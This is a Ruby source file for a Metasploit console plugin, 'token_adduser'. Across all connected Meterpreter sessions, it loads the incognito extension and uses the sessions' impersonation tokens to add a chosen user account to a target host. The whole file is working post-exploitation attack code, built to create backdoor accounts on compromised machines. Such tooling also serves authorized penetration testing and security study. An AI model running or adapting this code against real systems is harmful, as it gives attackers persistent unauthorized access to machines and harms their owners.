#
# $Id$
#
# This is a modified version of token_hunter.rb. Credit to
# jduck (I believe) for much of the base code here.
#
# The goal of this script is to attempt to add a user via
# incognito using all connected meterpreter sessions.
#
# jseely[at]relaysecurity.com
#
# TODO: This should probably find new life as a post module.

module Msf
  class Plugin::TokenAdduser < Msf::Plugin

    class TokenCommandDispatcher
      include Msf::Ui::Console::CommandDispatcher

      def name
        'Token Adduser'
      end

      def commands
        {
          'token_adduser' => 'Attempt to add an account using all connected meterpreter session tokens'
        }
      end

      def cmd_token_adduser(*args)
        opts = Rex::Parser::Arguments.new(
          '-h' => [ true, 'Add account to host']
        )

        # This is ugly.
        if args.empty?
          print_line('Usage: token_adduser [options] <username> <password>')
          print_line(opts.usage)
          return
        end

        opt_user_pass = []
        username = nil
        password = nil
        host = nil
        opts.parse(args) do |opt, _idx, val|
          case opt
          when '-h'
            host = val

          else
            # Excuse my weak ruby skills. I'm sure there's a better way to get username and password
            # from the args.
            opt_user_pass << val
          end
        end

        # Again, I'm sure there's a better way to do this.
        username = opt_user_pass[0]
        password = opt_user_pass[1]

        framework.sessions.each_key do |sid|
          session = framework.sessions[sid]
          next unless session.type == 'meterpreter'

          print_status(">> Opening session #{session.sid} / #{session.session_host}")

          unless session.incognito
            session.core.use('incognito')
          end

          unless session.incognito
            print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
            next
          end
          # print "DEBUG #{username} #{password}\n"
          res = session.incognito.incognito_add_user(host, username, password)
          next unless res

          print "#{res}\n"

          # Currently only stops on success if a user is trying to be added to a specific
          # host. I can't think of a good reason to stop on success (or even make it an option)
          # when trying to add a user to local sessions.
          if host && (res =~ /\[\+\] Successfully|\[-\] Password does not meet complexity requirements|\[-\] User already exists/)
            break
          end
        end
      end
    end

    def initialize(framework, opts)
      super
      add_console_dispatcher(TokenCommandDispatcher)
    end

    def cleanup
      remove_console_dispatcher('Token Adduser')
    end

    def name
      'token_adduser'
    end

    def desc
      'Attempt to add an account using all connected Meterpreter session tokens'
    end
  end
end
